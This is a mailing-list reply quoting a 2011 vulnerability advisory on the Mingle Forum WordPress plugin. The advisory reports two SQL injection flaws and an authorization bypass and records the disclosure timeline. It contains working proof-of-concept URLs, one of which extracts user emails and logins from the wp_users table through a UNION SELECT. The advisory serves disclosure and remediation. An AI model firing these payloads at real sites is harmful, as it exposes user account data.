Date: Sat, 08 Jan 2011 11:57:12 -0500
From: Charles Hooper <chooper@...mata.com>
To: Christian Sciberras <uuf6429@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Multiple Vulnerabilities in Mingle Forum
 (WordPress Plugin)

My bad ;) Regard those January dates as 2011

On 1/8/2011 10:37 AM, Christian Sciberras wrote:
> Wait, the developer fixed the plugin before he got the initial email?
> 
> 12/17/2010 Initial email sent to plugin maintainer.
> ...
> 01/01/2010 Received response from plugin maintainer.
> 
> :)
> 
> 
> 
> 
> 
> On Sat, Jan 8, 2011 at 4:21 PM, Charles Hooper <chooper@...mata.com> wrote:
> 
> 
> 1. Advisory Information
> 
> Title: Multiple Vulnerabilities in Mingle Forum (WordPress Plugin)
> Advisory URL: http://www.charleshooper.net/advisories/
> Date Published: January 8th, 2011
> Vendors Contacted: Paul Carter - Maintainer of plugin.
> 
> 
> 2. Summary
> 
> Mingle Forum is a plugin for the popular blog tool and publishing
> platform, WordPress. According to the author of Mingle Forum, "Mingle
> Forum has been modified to be lightweight, solid, secure, quick to
> setup, [and] easy to use."
> 
> There exist multiple vulnerabilities in Mingle Forum, SQL injection
> being among them.
> 
> 
> 3. Vulnerability Information
> 
> Packages/Versions Affected: Confirmed on 1.0.24 and 1.0.26
> 
> 3a. Type:       SQL Injection [CWE-89]
> 3a. Impact:     Read application data.
> 3a. Discussion: There is a SQL injection vulnerability present in the
> RSS feed generator. By crafting specific URLs an attacker can retrieve
> information from the MySQL database.
> 
> 3b. Type:       SQL Injection [CWE-89]
> 3b. Impact:     Read application data.
> 3b. Discussion: There is a SQL injection vulnerability present in the
> `edit post` functionality. By crafting specific URLs an attacker can
> retrieve information from the MySQL database.
> 
> 3c. Type:       Auth Bypass via Direct Request [CWE-425]
> 3c. Impact:     AuthZ is not performed for `edit post` functionality.
> 3c. Discussion: By browsing directly to the `edit post` page a user can
> view and edit any page.
> 
> 
> 4. PoC & Technical Description
> 
> 4a.
> 
> http://path.to/wordpress/wp-content/plugins/mingle-forum/feed.php?topic=0%20UNION%20SELECT%201,user_email,3,4,5,user_login,7%20FROM%20wp_users%20%23
> 
> 4b.
> 
> http://path.to/forums/?mingleforumaction=editpost&t=1.0&id=0%20UNION%20SELECT%201,2,3,4,5,6,7%20%23
> 
> 4c. http://path.to/forums/?mingleforumaction=editpost&t=1.0&id=<target
> post ID>
> 
> 
> 5. Report Timeline
> 
> 12/17/2010 Initial email sent to plugin maintainer.
> 12/22/2010 Confirmation of first email requested.
> 12/31/2010 Correct email address obtained. Maintainer contacted again on
> this date.
> 01/01/2010 Received response from plugin maintainer.
> 01/07/2010 Plugin maintainer releases update that addresses these
> vulnerabilities.
> 
> 6. References
> 
> 6a. The WordPress Plugin page for Mingle Forum:
>    http://wordpress.org/extend/plugins/mingle-forum/
> 
> 
> 7. Legalese
> 
> This vulnerability report by Charles Hooper < chooper@...mata.com > is
> licensed under a Creative Commons Attribution-NonCommercial-ShareAlike
> 3.0 Unported License.
> 
> 
> 8. Signature
> 
> Public Key: Obtainable via pool.sks-keyservers.net
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